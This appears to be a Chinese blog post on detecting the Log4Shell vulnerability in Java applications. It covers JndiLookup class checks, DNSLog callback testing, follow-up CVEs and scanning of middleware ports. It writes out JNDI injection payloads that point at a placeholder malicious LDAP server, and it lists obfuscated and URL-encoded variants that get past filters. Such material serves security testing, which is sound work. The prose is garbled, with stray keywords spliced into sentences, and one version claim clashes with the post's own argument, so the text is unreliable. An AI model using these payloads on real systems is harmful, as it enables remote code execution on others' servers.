游客发表
log4j漏洞的针对检测判断,核心就一句话:**别信版本号,漏洞得看实际行为。检测** 很多人拿着命令`java -version`或者翻翻jar包名字,判断看到`log4j-core-2.14.1.jar`就以为安全了——这恰恰是述正最容易踩的坑。
我见过一个真实案例。针对某运维团队扫描内网,漏洞报告显示所有系统都升级到了2.17.0,检测官方说这个版本修复了CVE-2021-44228。判断但安全测试人员用`${ jndi:ldap://恶意服务器/test}`的述正payload打过去,居然还是针对弹回了shell。后来排查发现,漏洞应用用的检测是fat jar打包,里面嵌套了老版本的判断log4j-api,而外层显示的述正版本号是主程序自己写的。版本号是假的,代码才是真的。
所以检测的第一步,不是看版本,而是**检查是否存在JndiLookup类**。用`jar tf log4j-core.jar | grep JndiLookup`,如果输出里有`org/apache/logging/log4j/core/lookup/JndiLookup.class`,那不管版本号写什么,都危险。这个方法简单粗暴,但有效——因为漏洞的本质是这个类能被远程触发,删掉它或者禁用lookup功能,才是真正的修复。
第二步是**动态验证**。别只扫静态文件,要实际发payload。方法很多,最土但最可靠的是在本地起一个DNSLog服务,然后往目标接口的每个参数、每个header、甚至User-Agent里塞`${ jndi:ldap://随机子域.dnslog.cn/test}`。等两分钟,如果DNSLog收到解析记录,说明漏洞存在。注意得测全——有些应用只对POST参数解析,有些会在日志里记录异常堆栈时触发,所以GET、POST、Cookie、Referer都得试一遍。
第三步,也是最容易被忽略的:**log4j的漏洞不止CVE-2021-44228一个**。后续的CVE-2021-45046、CVE-2021-45105,虽然危害等级不同,但都可能绕过前期的临时修补。比如有人用`-Dlog4j2.formatMsgNoLookups=true`来防御,但45046这个漏洞恰恰能通过某些格式字符串绕过这个开关。所以检测脚本里,payload不能只写`${ jndi:}`,还得测`${ ${ lower:j}ndi}`、`${ ::-J}ndi`这些大小写变体,甚至Unicode转义形式。
还有个实操细节。很多检测工具只扫web应用,但log4j漏洞最常出现在**中间件、消息队列、ES集群**这些后台服务里。我曾经在排查时发现,一个内部用的RabbitMQ管理界面没暴露在外网,但它的日志功能直接调用了log4j。攻击者只要往队列里塞一条特殊消息,就能触发。所以检测范围别局限在80/443端口,8080、9200、5672这些非标准端口都得扫一遍。
最后说个反直觉的事:**漏洞检测通过不等于安全**。即使所有payload都打不通,也可能是因为应用做了输入过滤,而不是log4j本身被修复了。我见过一个系统,管理员把`${ `字符在入口层全部替换成空,结果攻击者用`$%7Bjndi:...%7D`URL编码就绕过了。所以检测报告里,必须区分“未发现漏洞”和“无法确认是否漏洞”——前者是测试覆盖全面后的结论,后者只是你还没找到触发点。
工具上,我个人推荐先用`log4j-scan`这类开源脚本做快速筛查,它内置了多种绕过payload。但别全信输出——有一次它报“漏洞存在”,实际是误报,因为目标服务把整个请求原样反射回响应体里,payload根本没被log4j执行。所以最终判断,还得人工看流量,确认DNSLog的查询来源IP是否是目标服务器,而不是扫描器自己发的。
检测这事,本质上是在跟“混淆”较劲。版本号会骗人,类文件会被嵌套,参数位置会变,甚至连log4j本身都可能被改名打包。唯一靠谱的,就是多角度、多payload、多目标地反复试探,直到你确信每一个可能的入口都被堵死。别嫌麻烦——真正的漏洞,往往藏在你看不见的角落。
友情链接